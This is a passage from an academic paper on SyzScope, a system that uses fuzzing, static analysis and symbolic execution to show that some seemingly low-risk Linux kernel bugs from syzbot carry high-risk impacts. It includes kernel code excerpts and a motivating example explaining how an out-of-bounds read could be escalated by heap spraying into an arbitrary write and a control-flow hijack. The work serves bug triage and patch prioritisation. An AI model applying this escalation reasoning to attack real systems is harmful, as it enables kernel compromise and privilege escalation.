much sooner than UAF/OOB read bugs — 37 days vs. 63
days for UAF and 29 days vs. 89 days for OOB in terms
of average attempt-to-fix delay. In addition, we also look
at the patch propagation delays from upstream to down-
stream using Ubuntu Bionic as an example. Patches for
WARNING errors have an average delay of 83 days vs.
59 in the case of patches for OOB write bugs.

In lieu of the above, the goal of this paper is to check
whether any of the seemingly low-risk bugs (e.g., the
ones with read primitives or simply an assertion error)
can be turned into high-risk (e.g., write primitive or func-
tion pointer dereference?) To this end, we design a sys-
tem called SyzScope that takes a reproducer and the cor-
responding bug report as input and produces a report on
any high-risk impacts that are associated with the bug
(and optionally new PoCs that exhibits such high-risk
impacts). SyzScope has two distinct modes of opera-
tions with respect to the two challenges aforementioned
(details are in §3). First, to evaluate the security impact
of open bugs and facilitate prioritized bug fixing, we per-
form a combination of static analysis and symbolic exe-
cution to look beyond the initial bug impact reported by
the reproducer. Second, to evaluate the security impact
of fixed bugs and facilitate timely patch propagation, we
additionally allow a fuzzing component as we can use
the patch to confirm whether new impacts belong to the
same bug.

Surprisingly, after analyzing thousands of seemingly
low-risk bugs published on syzbot, SyzScope found 183
bugs have high-risk impacts. Along the process, we have
identified the limitations of the current bug reports and
believe SyzScope is a great complement to recognize the
hidden impacts of a bug.

In summary, this paper makes the following contribu-
tions:

• We propose SyzScope, a system that can automatically
evaluate the impact of a given seemingly low-risk bug

Bug type Bug Impact

Sanitizer: KASAN
use-after-free (UAF)
out-of-bounds (OOB)

double-free
Sanitizer: KCSAN data race
Sanitizer: KMSAN uninitialized use
Sanitizer: UBSAN variety*

Kernel: WARNING / INFO / BUG Assertions on any unexpected behaviors
Kernel: GPF corrupted pointer dereference

* UBSAN (Undefined Behavior Sanitizer) can detect a variety of impacts

Table 1: Main impacts of bugs on syzbot

and uncover its true nature. The system can be easily
integrated into the pipeline of syzbot.

• To achieve both accuracy and scalability, we have
packaged together fuzzing, static analysis, and sym-
bolic execution together to achieve the end goals. To
facilitate reproduction and future research, we open
source the system [11].

• Our tool successfully converts 183 seemingly low-risk
bugs on syzbot to high-risk bugs including 42 of them
with control flow hijacking primitives and 173 with
write primitives.

2 Background and Overview

2.1 Syzbot and Bug Reporting
As mentioned earlier, syzbot is a platform that contin-
uously fuzzes the Linux mainline kernel branches. The
kernel version advances on a daily basis so that syzbot
always fuzzes the latest version. All discovered bugs are
not only sent to kernel developers and maintainers but
also published on an open dashboard in real time [28].
For every bug, it also includes valuable information such
as bug reports (e.g., call trace, perceived bug impact),
valid reproducers, specific kernel source version where
the bug was found, kernel configuration files, and patches
(if available). This is a valuable data source that is also
suitable for automated analysis.
Bug detectors. Syzbot uses the state-of-the-art ker-
nel fuzzer Syzkaller [29] which relies on handcrafted
“templates” or specifications that encode various knowl-
edge about syscalls, including their relationships (e.g.,
open() and close()) and the domain of syscall argu-
ments. During fuzzing, test cases will be generated ac-
cording to the templates and mutation on the test cases
will occur as well. Most importantly, there are two
general mechanisms to catch bugs at runtime. First, it
leverages various sanitizers that instrument the kernel
code to catch memory corruption bugs, including Ker-
nel Address Sanitizer (KASAN) [18], Kernel Concur-
rency Sanitizer (KCSAN) [26], and Kernel Memory San-
itizer (KMSAN) [27], each capable of catching a certain
class of bugs (categorized by their impacts, e.g., use-
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after-free). Undefined Behavior Sanitizer (UBSAN) [13]
is a special sanitizer that is recently enabled and can de-
tect a variety of bug impacts [43]. Second, it relies on the
kernel itself with its built-in assertions such as BUG and
WARNING representing uncategorized errors and unex-
pected behaviors, as well as exception handling, e.g.,
general protection fault (GPF) due to accessing invalid
memory pages. Whenever a bug is discovered, it must be
caught by one of the mechanisms. The details are listed
in Table 1. In fact, the title of a bug report is automat-
ically generated according to the detection mechanism
and the perceived bug impact. For example, the bug title
“KASAN: use-after-free Read in hci dev do open” indi-
cates that it is caught by KASAN and the perceived bug
impact is use-after-free read.
Limitations of the current bug detectors. One princi-
ple currently embraced by fuzzers is that the execution
of some buggy input stops as soon as any bug impact
is discovered. This is because the goal of a fuzzer is to
discover new bugs and fix them. When the first error
is caught, it is pointless to let the program continue ex-
ecuting because it is already in a corrupted state. Any
subsequent buggy behaviors are further and further away
from the root cause of a bug, and therefore do not really
contribute in understanding and fixing a bug. However,
this principle does not help with realizing the maximum
impact of a bug. In fact, it is the opposite of what we
need because a bug can often lead to multiple impacts,
some of which may not be immediately uncovered and
may even require additional syscall invocations to mani-
fest.

2.2 High-Risk vs. Low-Risk Bug Impacts

Based on the recent literature [49, 20, 47, 48] and
the recent high-profile bugs that are exploited in prac-
tice [44, 32, 17], we define high-risk bug impacts to be
the following:

1. Any UAF and heap OOB bugs1 that lead to a func-
tion pointer dereference primitive, which is effectively a
control flow hijacking primitive that can likely lead to an
end-to-end exploitation (i.e., arbitrary code execution in
the kernel context) [48]. Such primitives can happen for
example when the function pointer is located in a freed
object or out-of-bound memory, and is incorrectly deref-
erenced.

2. Any UAF and OOB bugs that lead to a write prim-
itive, including overwriting a freed object or an object
out-of-bounds, and in general any writes to unintended
locations and/or with unintended values (e.g., a write by
dereferencing an unsafe data pointer). Write primitives,
as opposed to read, have the opportunity to corrupt con-

1Subsequently, we refer to heap OOB bugs as OOB bugs for brevity

trol data (e.g., function pointers) and can be effectively
turned into control flow hijacking as well. In addition,
write primitives can be used for data-only attacks that
achieve privilege escalation without explicitly altering
the control flow (e.g., by modifying the uid of a pro-
cess) [23].

3. Any invalid free bugs. This includes freeing a mem-
ory area that should not be freed or an already freed ob-
ject (the latter corresponds to double-free bugs). Invalid
frees can be turned into a UAF of multiple different can-
didate objects chosen by an adversary [21]. With the
freedom of choice of various candidate objects, the like-
lihood of finding a function pointer dereference or write
primitive is high.

In contrast, a low-risk impact is defined to be any-
thing other than the above. This includes any UAF or
OOB bugs that lead to only read primitives (without
write or function pointer dereference primitives), as well
as any other impacts such as WARNING, INFO, BUG,
and GPF, as defined in Table 1. Finally, we will give
a more detailed breakdown of the high-risk impacts by
their primitives in §3.3.

2.3 Motivating Example

To illustrate why that is the case, we use a real bug from
Syzbot [6] as an example to demonstrate how it is possi-
ble to turn a low-risk slab-out-of-bounds read bug into a
control flow hijack exploit.

As shown in Figure 1, the bounds of the iteration
cp->hash (line 2) can be turned larger than the size of ar-
ray cp->perfect (which resides on the heap), creating
a potential OOB situation(the vulnerable object marked
in green). More precisely, at line 8, an OOB read access
occurred via exts->actions, leading to a slab-out-of-
bounds read. Syzkaller stops at line 8 and generates a
bug report with the title of “KASAN: slab-out-of-bounds
Read in tcf exts destroy” on syzbot. Interestingly, even
if we allow the execution to continue forward during
fuzzing, it will almost always end up with an exception
at line 14 because it is highly likely that actions[i]
attempts to retrieve an element from an invalid address,
i.e., it is equivalent of *(actions+i). Note that actions it-
self can point to any random location because it was read
out-of-bounds (see line 8 and 9). As a result, one may
come to the conclusion this is indeed a low-risk bug.

However, since the entire exts structure is out-of-
bounds, it is actually possible for an attacker to control
the data at an appropriate offset by spraying a number
of objects nearby [20]. Specifically, if the correct data
is sprayed, actions[i] will retrieve an element from
a valid address and prevent the kernel from crashing at
line 14. After that, we are able to observe an arbitrary
address write opportunity at line 16. This is because
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1 static void tcindex_free_perfect_hash(struct
tcindex_data *cp) {

2 for (int i = 0; i < cp->hash; i++)
3 tcf exts destroy(&cp->perfect[i].exts);
4 kfree(cp->perfect);
5 }
6

7 void tcf_exts_destroy(struct tcf_exts *exts) {
8 if (exts->actions)
9 tcf action destroy(exts->actions);

10 }
11

12 int tcf_action_destroy(struct tc_action *
actions[]) {

13 struct tc_action *a;
14 for (i = 0; i < TCA_ACT_MAX_PRIO &&

actions[i]; i++) {
15 a = actions[i];
16 actions[i] = NULL; // AAW
17 ret = tcf idr release(a);
18 }
19 }
20

21 int __tcf_idr_release(struct tc_action *p) {
22 if ( tcf action put(p, ...))
23 ...
24 }
25

26 static int __tcf_action_put(struct tc_action
*p, ...) {

27 struct tcf_idrinfo *idrinfo = p->idrinfo;
28 if (refcount_dec_and_mutex_lock (&

p->tcfa refcnt, &idrinfo->lock)) {
29 ...
30 tcf action cleanup(p);
31 }
32 }
33

34 static void tcf_action_cleanup(struct
tc_action *p) {

35 if (p->ops->cleanup)
36 p->ops->cleanup(p); // FPD
37 }

AAW = Arbitrary address write
FPD = Function pointer dereference

Figure 1: A slab-out-of-bounds Read bug on syzbot

the pointer action comes from the OOB memory exts,
which means action can potentially point to any arbi-
trary memory address. Even further down, we can see a
control flow hijack opportunity arises at line 36 through
a function pointer dereference, where the value of the
function pointer p is controlled by an attacker as well
(basically actions[i]). By now, we can conclude that
this bug is actually very much high risk and needs to be
patched as soon as possible. Interestingly, no one seemed
to have realized the potential impact of the vulnerabil-
ity. As a result, the bug was silently fixed without any
CVE being assigned and it took almost 4 months (much
longer than the average time-to-fix). The fact that there is
no CVE assigned would also delay downstream kernels
from applying the patch.

2.4 Goals and Non-Goals
Goals. SyzScope aims to reveal high-risk impacts of a
seemingly low-risk bug by analyzing subsequent behav-
iors since the first reported impact and alternative paths
where high-risk impacts may be located. As alluded to
earlier, we believe there are two benefits provided by
SyzScope. First, it will facilitate prioritized bug fixing.
This is especially important given that the number of
kernel bugs that are discovered on a daily basis due to
continuous fuzzing and the transparency offered by the
syzbot platform. Second, it will speed up the patch prop-
agation in Linux-derived ecosystems. Even when a patch
is already available in Linux mainline, it can take months
and even years to propagate to all its downstream kernels,
e.g., Android [47, 52].
Non-goals. SyzScope does NOT aim to produce an
end-to-end exploit automatically, which would require
the automation of a number of additional steps such as
reliable heap feng shui, bypass of various defenses in-
cluding KASLR, SMEP, and SMAP [48]. Therefore,
we do not claim that the high-risk impacts we defined
are 100% exploitable. Instead, we aim to uncover as
many such high-risk impacts as possible, within a rea-
sonable time and resource budget. The more high-risk
impacts, the more likely an exploit can be generated. In
fact, our work is complementary to the research on au-
tomated exploit generation. For example, KOOBE [20]
is designed to take an OOB write bug and turn it into a
control flow hijack primitive. SyzScope can turn a seem-
ingly non-OOB bug or an OOB read into an OOB write
such that KOOBE can take it further and prove its actual
exploitability. Finally, SyzScope does NOT aim to eval-
uate bugs whose impacts are outside of the types listed
in Table 1.

3 Design

In this section, we describe the design of SyzScope. The
intuition driving the design is that uncovering more im-
pacts of a bug is fundamentally a search problem. In-
terestingly, even though a fuzzer is designed to essen-
tially search through an input space as well, its goal is
to optimize for maximum code coverage and/or number
of bugs; it is never to maximize the impacts of a given
bug. Therefore, SyzScope is designed to perform a much
more targeted search starting from a PoC that already un-
covers some impact of a bug.

High-level Workflow The workflow is depicted in Fig-
ure 2, which contains three main components: Vulner-
able Contexts Exploration, Hidden Impacts Estimation,
and Validation and Evaluation. They correspond to the
three main techniques that we leverage and integrate to-
gether: fuzzing, static analysis, and dynamic symbolic
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Figure 2: Workflow

1 void __rxrpc_put_peer(struct rxrpc_peer *peer) {
2 struct rxrpc_net *rxnet = peer ->local->rxnet;
3 ...
4 }
5

6 void rxrpc_send_keepalive(struct rxrpc_peer *peer)
{

7 ...
8 whdr.epoch=htonl(peer ->local->rxnet->epoch);
9 ...

10 peer ->local->socket->ops->sendmsg()
11 ...
12 }

Figure 3: Impacts of the same bug located in different
syscalls

execution. At a high level, given a PoC and its bug
report that demonstrates some low-risk impact, we first
start with a “fuzzy” approach by performing a targeted
fuzzing campaign to explore other potential vulnerable
contexts, i.e., additional impacts. This will allow us to
cast a wider net early on. Second, given these additional
PoCs and impacts (where some may be high-risk already
and may still be low-risk), we then leverage static analy-
sis to locate any potential high-risk impacts in alternative
execution paths that we have not yet been able to reach
during fuzzing. Finally, the static analysis will guide
the execution of symbolic execution to confirm whether
these high-risk impacts are reachable in practice.

3.1 Vulnerable Contexts Exploration

As can be seen in Figure 2, the vulnerable context
exploration component takes a seemingly low-risk bug
(including a PoC and a corresponding bug report), and
produces one or more new PoCs that exhibit additional
impacts (either low-risk or high-risk). The problem with
the original PoC is that it traverses only a single path
in the kernel and can therefore be very limited in terms
of impact coverage. By exploring more contexts (i.e.,
paths) associated with the bug, we are more likely to
uncover additional impacts. In general, there are two
logical possibilities that additional impacts are located.
First, it may be hidden directly behind the reported im-
pact, i.e., in the same invocation of a syscall as shown
in Figure 1. Second, it may be triggered in a completely

different syscall not present in the original PoC, and may
even require additional syscalls to set up the state before-
hand and removal of existing syscalls to undo some state.
Figure 3 illustrates a real case from syzbot (simplified)
to show two different impacts of the same bug. In the
original PoC, it causes peer->local to be freed acci-
dentally before entering function rxrpc put peer(),
leading to a UAF read. However, the PoC fails to dis-
cover the additional function pointer dereference which
is located in rxrpc send keepalive(). In addition,
rxrpc send keepalive() is not a function reachable
by rxrpc put peer(). Therefore, a good test case
would need to insert an additional syscall (with the right
arguments) after the syscall that triggered the free.

To this end, we will leverage Syzkaller to mutate the
original PoC and explore any missed additional impacts.
As mentioned in §2.1, the goal of a fuzzer is never to
uncover a bug’s maximum impact. However, it is suit-
able for Syzkaller to search for new contexts that may
be locked away in a specific sequence of syscalls [14].
More specifically, we define the original context as the
execution path exercised by the original PoC. Any new
context by definition must be associated with a different
execution path that must not share the same initial primi-
tive (UAF/OOB read or write). Along with vulnerable
context exploration, we also log all the impacts along
each path and attribute any high-risk impacts to the cor-
responding context.

Nevertheless, there are three challenges in making the
search effective. First, as illustrated earlier in Figure 1,
an earlier impact can block the execution from exploring
deeper parts of the code and uncovering additional im-
pacts. Second, even though a coverage-guided fuzzing
strategy is approximately aiming to explore more code
blocks and paths, it does not directly recognize the im-
portance of impacts. In fact, it is possible that a new im-
pact is triggered in an already explored path, e.g., OOB
access can happen in array element access only when an
argument (representing the array index) of a syscall be-
comes large enough. Third, we need to ensure that the
mutated PoC, should it uncover any new impacts, is still
exercising the same bug. Indeed, if we allow Syzkaller
to mutate any part of the PoC, e.g., by removing a criti-
cal syscall or adding arbitrary syscalls, then it is entirely
possible that the mutated test case will trigger a different
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bug altogether.
To overcome the challenges, we make two important

changes to Syzkaller and made an important observation.
Impact-aware fuzzing. To address the first challenge,
we will attempt to carry on the fuzzing session even when
impacts are detected (by sanitizers or the kernel itself).
Specifically, only a few bugs like general protection fault
or some BUG impacts are irrecoverable errors (e.g., a
NULL pointer dereference and divide by zero); other
ones can be simply safely ignored. For example, when
an OOB read impact occurs, we simply allow the ker-
nel to read any data from out-of-bounds memory with-
out panic and continue executing. This way, it is pos-
sible that KASAN catches another OOB write eventu-
ally. To address the second challenge, we note again that
Syzkaller is an entirely coverage-guided fuzzer, i.e., its
feedback metric is only the coverage. However, it tends
to focus its attention and energy quickly on newly cov-
ered code, leaving covered but potentially buggy code
space behind. Therefore, we introduced the feedback of
impact. The idea is that Syzkaller will now consider a
test case as a seed not only when it discovers any new
coverage but also when it discovers any new impact. As
it is rare to discover test cases that uncover new impacts,
we always assign higher priority to them for mutation.
Restricted-fuzzing space. By default, Syzkaller con-
siders all syscalls in the operating system as candidates
to insert into a test case (during mutation). However,
clearly this is undesirable for uncovering impacts of a
specific bug. For instance, a bug in the kvm module
should not allow the TCP/IP modules’ syscalls, which
will likely drive the test cases to cover code outside of
kvm. Therefore, to address the third challenge, we re-
strict the syscalls to those Syzkaller templates that sub-
sume the syscalls in the PoC. In addition, we preserve
all the syscalls in the original PoC and allow only inser-
tion of syscalls. We also allow the mutation of arguments
of existing syscalls. This strategy aims at preserving the
root cause of a bug while still allowing new impacts to
be discovered. If the above restricted-fuzzing strategy
cannot uncover any new impacts or coverage (currently
after a threshold of 5 minutes), we will activate another
slightly more aggressive fuzzing strategy, where we will
relax the restrictions to allow syscalls against the entire
module, e.g., all syscalls related to the networking mod-
ule or kvm module (one module sometimes can corre-
spond to multiple templates). In addition, we also allow
the removals of syscalls in the original PoC (though the
latter is set to a very low probability).
Side effects of fuzzing. Unfortunately this does still re-
sult in test cases that trigger different bugs. In fact, as we
later find out, close to half of the new impacts are associ-
ated with a completely unrelated bug, where the other
half are indeed new impacts belonging to the original

bug. Therefore, we choose to perform fuzzing only when
we have a strategy to confirm whether a new impact be-
longs to the original bug. Specifically, where patches are
already available, i.e., the second use case of SyzScope
as discussed in §2.4, we develop a heuristic that can do
so accurately. The details are deferred to §4.

3.2 Hidden Impacts Estimation

From the previous step, we have likely found more PoCs
that uncovered additional impacts. However, it is pos-
sible that they are still low-risk impacts. After all, it is
challenging for a fuzzer to explore deeper part of the ker-
nel code, especially when there are complex conditions
that may prevent it from making progress. Therefore, we
can invoke the hidden impact estimation component to
determine whether further high-risk impacts beyond the
low-risk ones are available. Specifically, given an exist-
ing low-risk impact, we leverage static analysis to con-
duct a type-specific search. At the moment, we support
the analysis of two types of low-risk impacts, i.e., UAF
read and OOB read. Again, we choose them because
UAF and OOB are two of the most dangerous bug im-
pact types. In order to discover high-risk impacts such as
write or function pointer dereference impact, we formu-
late the problem as a static taint analysis problem as will
be articulated later.

This component requires two inputs: a PoC that trig-
gers one or more UAF/OOB read impacts, and the corre-
sponding bug report as input. It then extracts two pieces
of critical information from the report: (1) vulnerable ob-
ject and (2) vulnerability point(s). A vulnerable object is
defined to be the freed object (in the UAF case) and the
object intended to be accessed yet an out-of-bound ac-
cess occurred (in the OOB case). A vulnerability point is
the statement where the use of a freed object happens (in
the UAF case) or the OOB memory access (in the OOB
case) occurs.

We first observe that the UAF/OOB read impacts are
due to the read of some data that can be potentially con-
trolled by an adversary, i.e., either a freed and refilled ob-
ject or something sprayed next to the vulnerable object.
This means that any subsequent use of the read memory
can be potentially dangerous. Specifically, we consider
dereferences of function pointers that are derived from
such memory high-risk impacts, i.e., UAF/OOB function
pointer dereferences (as mentioned in §2.4). Similarly,
we consider any dereferences of data pointers that are de-
rived from such memory high-risk impacts if they lead to
memory writes (to an attacker-controlled address), e.g.,
*data ptr = 0.

The second observation is that UAF/OOB write im-
pacts are basically writes to the same planted memory
by an adversary. For example, if a planted object whose
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function pointer is overwritten due to a UAF/OOB write,
it can potentially lead to arbitrary code execution, as line
32 in the example presented in Figure 1 shows.

To summarize, the above high-risk impacts can be for-
mulated as a static taint analysis problem. For pointer
dereferences, the taint source will be the vulnerable ob-
ject. The sink would be the dereference of a pointer (ei-
ther function pointer or data pointer that leads to a write).
Whenever any source flows to the sink, we consider it a
high-risk impact. It is slightly different for UAF/OOB
write. The taint source is the same. However, we do not
need any sinks. Instead, whenever any value is written to
the tainted memory, we consider it a high-risk impact. In
the example presented earlier in Figure 1, line 16 is such
a write to the OOB memory.

In addition to reporting the additional impacts, we also
record the branches that definitely need to be taken and
the ones that definitely need to be avoided in order to
reach the them. This is later used to guide the symbolic
execution. We defer the implementation details of the
static taint analysis to §4.

3.3 Validation and Evaluation
As shown in Figure 2, this module takes a PoC with po-
tentially new high-risk impacts, aim to achieve two goals
in this component: (1) validating the feasibility of reach-
ing these high-risk impacts, and (2) evaluating the more
fine-grained impact in terms of the enabled primitives,
e.g., arbitrary value write vs. constrained value write.
Validate the feasibility of high-risk impacts. In this
step, we symbolize the same vulnerable object, i.e., taint
source in static analysis, dynamically at the point when
the vulnerable object is first read, e.g., an OOB read or
UAF read. The entire vulnerable object is symbolized
with the assumption that an attacker can spray desired
payloads onto the heap. However, a well-known limita-
tion of symbolic execution is its scalability due to path
explosion. Therefore, we additionally leverage static
analysis to guide the symbolic execution in two ways: (1)
When an additional impact is found to be far away(40 ba-
sic blocks is our current threshold, see the details at 5.2)
from the initial impact, we take the path guidance from
static analysis results in terms of which branches must
and must not be taken. For example, an additional im-
pact can be located in only a specific true branch, and
therefore the false branch does not need to be explored.
This avoid unnecessary explorations during symbolic ex-
ecution and therefore speed up the process. Currently we
choose to apply the guidance only when the additional
high-risk impact is at least 40 basic blocks away intrapro-
cedurally . This is because if they are nearby, symbolic
execution will have no problem locating them anyways.
Furthermore, we are not able to rule out any potential

false negatives from static analysis and therefore it is best
to let symbolic execution explore all possible paths. (2)
Based on the farthest potential high-risk impact, we limit
the scope of the analysis up to that point. Otherwise, the
symbolic execution may continue executing until the end
of a syscall, taking much more significant time.
Evaluate the fine-grained impacts. As mentioned ear-
lier in §2.2, the high-risk impacts can include three types
of primitives: write, func-ptr-deref, and double free. Be-
low we discuss the write and func-ptr-deref primitive.

(1) Overwriting symbolic memory. The impact of such
a write requires a more careful analysis. For example,
when such an OOB write occurs, it is necessary to un-
derstand the offset of the write, the length of the write,
and the data that can be written [20]. Then we can eval-
uate whether the write is flexible enough to overwrite a
function pointer in a heap-sprayed object nearby. Since
such an analysis is already done in [20], we simply refer
to such writes as UAF write or OOB write and leave them
to existing work for further triage.

(2) Write with symbolic data or write to symbolic ad-
dress. When the write target is symbolic or data to-
be-written is symbolic, We follow a classic definition
of a write primitive is “write-what-where” [1]. For the
“what” dimension, it will be either an “arbitrary value”
or “constrained value” write, depending on the absence
or presence of any symbolic constraints on the value. For
the “where” dimension, it will be either an “arbitrary ad-
dress” or “constrained address” write, again depending
on the symbolic constraints of the address. More con-
cretely, considering a write instruction mov qword ptr

[rax], rdi. It attempts to store the data in rdi to an
address stored in rax. If rdi is symbolic, it may be
considered an arbitrary value or constrained value write.
Similarly, if rax is symbolic, it may be considered an ar-
bitrary address or constrained address write. Note that
KASAN cannot detect such primitives because it is de-
signed to catch the initial read of freed/OOB memory.
Subsequent propagation of them via writes may require
taint tracking.

(3) Dereferencing symbolic function pointer is de-
tectable by monitoring the symbolic status of the func-
tion pointer. Similar to the write primitives, KASAN can
only detect the initial problematic read, and not the sub-
sequent use (i.e., function pointer dereference) of the
freed/OOB memory.

(4) Passing pointer (either being symbolic or pointing
to symbolic memory) to free function. To detect invalid
frees (including double frees), we examine the pointer
argument of heap free functions such as kfree(). If the
pointer itself is symbolic, it indicates that an attacker can
control the memory that will be freed, therefore corre-
sponding to the invalid free cases. If the pointer itself
is not symbolic but the memory the pointer points to is,
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it is considered a double free (we group these two cases
together as invalid frees).

4 Implementation

In this section, we describe details about each component
in SyzScope. In total, the system has over 10K lines of
code and is fully automated.

4.1 Vulnerable Context Exploration

There are several things worth describing in more details
in this component.
Impact-aware fuzzing. Syzkaller has two major com-
ponents: (1) the fuzzer itself that runs on a target OS
where test cases are executed (i.e., syz-fuzzer), and (2)
a manager that runs outside of the target OS, oversee-
ing the fuzzing process (i.e., syz-manager). The fuzzer is
designed to mutate test cases locally and only send test
cases that contribute to more coverage back to the man-
ager. However, different for traditional coverage-guided
fuzzing, our impact-aware fuzzing will mutate a PoC that
already leads to an impact, which essentially causes a
crash of the entire target OS. This often leads to a burst
of crashes, which means the fuzzer will lose the states of
the mutation because of the crash. By default, the man-
ager will simply log the test case but no further mutation
will be performed, because it is likely going to trigger the
same bug over and over again. In our implementation,
we enable the manager to remember the impact-inducing
PoC and send it to the fuzzer for mutation (currently 500
times), preempting any other mutation of regular seeds.
If a new impact is discovered, the corresponding PoC
will then be treated similarly.
Multiple impacts in a single PoC. As mentioned ear-
lier in §2.1, Syzkaller by default allows only the first
impact to be reported while ignoring all the rest. This
means that if a PoC happens to trigger multiple bug im-
pacts, e.g., one UAF read and another UAF write, the
later impacts are hidden. This contradicts with our goal
of recovering more bug impacts. Therefore, we turn
on a KASAN booting option called kasan multi shot

when booting the kernel, which will present all im-
pacts instead of only the first. However, there are some
impacts that are not possible to ignore, e.g., a NULL
pointer dereference which would cause an irrecoverable
crash. We can bypass some other assertion-related ker-
nel panics by disabling panic on warn in the kernel
boot options or some options in the kernel config like
CONFIG BUG ON DATA CORRUPTION. Note that these de-
bugging options are turned on specifically for fuzzing or
debugging (as they are useful in catching errors). In prac-
tice, they are off by default in production settings.

Confirming the impact belonging to the same bug. As
described earlier in §3.1, when a bug already has a patch
available (we assume that these patches are correct), we
use a heuristic that can use the patch to test whether a
new PoC and its new impacts (generated from fuzzing)
are still a result of the same bug. The idea is as follows.
If a new PoC can still trigger the same impact after the
patch (as well as all prior commits) is applied, clearly the
new PoC is triggering a different bug. However, if it no
longer works, we are not sure if it is because of the patch
itself that breaks the PoC or one of the earlier commits
does so. To deal with this ambiguity, instead of applying
the patch and its prior commits up to that point, we will
attempt to apply the patch commit itself directly. If it
can be successfully applied, i.e., git does not reject it and
kernel compiles/boots normally without breakage, then if
the new PoC no longer works, we say that the PoC is in-
deed exploiting the same bug. Otherwise, if it cannot be
successfully applied, we will instead apply all the com-
mits up to the patch (but not including the patch itself)
and retest the PoC. If it can reproduce the impacts, then
we know that these intermediate commits do not inter-
fere with the bug triggering. Therefore, we know that the
new PoC is still triggering the same bug, because earlier
we have verified that it does not work against a patched
kernel (with all prior commits applied also). The one
last remaining corner case is that the PoC cannot repro-
duce the impacts when we apply all the commits up to the
patch (but not including the patch itself). In such cases,
we will act conservatively and simply give up the new
PoC because it remains ambiguous.

4.2 Hidden Impacts Estimation

Our static analysis engine is built on top of DR.

CHECKER [38], which is flow-sensitive, context-sensitive,
field-sensitive, and inter-procedural. We made some
changes to adapt it to our scenario as described below.
Interfacing with the fuzzer result. Recall that our static
analysis engine takes a vulnerable object and vulnerabil-
ity point(s) as input. Since DR. CHECKER is based on
LLVM IR, the input would also be given at the LLVM
IR level. However, the fuzzing result (KASAN report)
includes such information at the binary level, thus re-
quiring a mapping from the binary to IR. Specifically,
it includes (1) the call trace that contains vulnerability
points that trigger the UAF/OOB bug (binary instruction
addresses). (2) the size of a vulnerable object and the off-
set at which the vulnerable object is accessed (in either
UAF or OOB).

With such information, we will first try to locate the
vulnerable function that triggered the impact in LLVM
IR. Usually, the vulnerable function is the first function
on the call trace besides KASAN-related ones. However,
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if the vulnerable function is inlined, we then resort to
its caller (potentially recursively if multiple layers of in-
lining occur). To simplify the handling of inlined func-
tions, we choose to compile the kernel using Clang with-
out any inlining to generate the kernel bitcode. After lo-
cating the vulnerable function in LLVM IR, we leverage
the Clang-generated debug information to map each IR
instruction back to a corresponding source line. Specifi-
cally, we look for a load IR instruction that maps to the
same source line number as what is reported in the vul-
nerable function in the KASAN report. Once we success-
fully locate such a load instruction that triggers the bug,
we can retrieve the base pointer (vulnerable object) of the
load instructions and taint the object.
Trace recorder: In order to generate the branch guid-
ance for symbolic execution (described in §3.2), we
record the detailed taint trace from an initial vulnerability
point to the high-impact one, including the calling con-
text and instruction of each taint propagation. This way,
if the taint propagation occurs in a specific call sequence
and specific branch, we can precisely drive the dynamic
symbolic execution accordingly.

4.3 Validation and Evaluation
There are two possible symbolic execution engines we
can potentially use: S2E [22] and angr [15]. S2E is a
great candidate as it is designed to support dynamic (in-
vivo) symbolic execution, such that most of the memory
locations are populated with runtime data. This limits the
symbolized memory to a much smaller scope, i.e., those
that are potentially controlled by an adversary. Unfor-
tunately, S2E supports only a single CPU core in each
QEMU instance [8]. Therefore, it has a major drawback
in its ability to reproduce race condition bugs. In our
preliminary experiments, we find that over half of the
race condition bugs simply cannot be reproduced reliably
within a reasonable time frame, i.e., an hour. Therefore,
we decided to first reproduce bugs in a vanilla QEMU.
Once the bug is successfully reproduced (KASAN report
being triggered). The breakpoint we set in KASAN report
function will immediately freeze the memory of QEMU,
and provide the corresponding CPU registers and mem-
ory address of the vulnerable object (either freed object
or an object that is out-of-bounds) to angr. Whenever
angr needs to access a memory location, we will look up
their actual values on the snapshot on demand.

5 Evaluation

5.1 Dataset and Setup
We evaluate SyzScope against the majority of low-risk
bugs reported on syzbot. At the time of writing, there

are 3,861 low-risk bug reports in total according to our
definition. We exclude the ones detected by KCSAN,
KMSAN, UBSAN. This is because they are either not
mature enough yet (KMSAN and UBSAN) and do not
contain critical information in the bug reports for us to
continue the analysis (e.g., vulnerable object), or do not
have any valid reproducer (none of the KCSAN bugs has
a reproducer). After this step, there are 3,267 remaining
bug reports.

Next, we filter the bug reports that do not target the up-
stream Linux kernel (which is our main focus) and those
that do not contain any reproducer (either a Syzkaller
program or a C program). Then, we divide the dataset
into “fixed” and “open” sections. For the fixed cases,
since each bug report comes with a corresponding patch,
we can deduplicate bug reports based on shared patches
(unfortunately we are unable to do so for the bugs in the
open section), e.g., the bug reports may look different but
their root causes are the same. In our tests, we pick only
one bug report from the group that share the same patch.
Specifically, we use the one with the highest risk impact.
For example, if a low-risk impact bug report (e.g., UAF
read) happens to share the same root cause (i.e., same
patch) with a high-risk one (e.g., UAF write), we elimi-
nate the entire group of reports because the correspond-
ing bug should be recognized as high-risk already. If a
WARNING bug report happens to share the same patch
with a UAF read report, we will pick the UAF one as
input to SyzScope, because it already contains critical
information such as the vulnerable object, allowing us to
continue the analysis in the pipeline. Otherwise, we sim-
ply randomly pick a bug report among the available ones
(WARNING, INFO, BUG, or GPF) as there is no major
difference. Finally, we obtain 1,170 bug reports (after
deduplication) and their corresponding reproducers.

In our current configuration, to be conservative, we do
not attempt the vulnerable context exploration step on
bug reports in the open section since we can not ver-
ify the new impacts still belong to the same bug (as
discussed in §3.1). All experiment are conducted in
Ubuntu-18.04 with 1TB memory and Intel(R) Xeon(R)
Gold 6248 20 Core CPU @ 2.50GHz * 2. For each bug
report and its reproducer, we allocate a single CPU core
for 3 hours of kernel fuzzing maximum, 1 hour of static
analysis (it usually finished within half an hour), and 4
hours of symbolic execution.

5.2 Overall Results

In total, out of the 1,170 low-risk bugs analyzed by SyzS-
cope, we report that 183 of them turn out to contain at
least one high-risk impact. This is more than 15% of all
the bugs. Furthermore, out of the 183 bugs, 173 have at
least one write primitive (e.g., UAF/OOB write, arbitrary
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Initial Bug Impact Raw bug
reports

Valid
bugs*

High-risk
bugs*

High-risk
impacts

High-risk impact breakdown by primitive type

UOW AAW CAW AVW CVW FPD IF

Fixed
GPF and BUG 687 215 17 323 71 124 62 29 20 8 9
WARNING and INFO 918 293 15 379 85 166 66 20 30 9 3
UAF and OOB Read 680 202 99 2866 319 1490 446 271 153 104 83

Open
GPF and BUG 225 83 4 6 4 0 0 0 0 0 2
WARNING and INFO 541 292 10 501 97 213 91 47 22 18 13
UAF and OOB Read 216 85 38 768 151 381 113 43 22 40 18

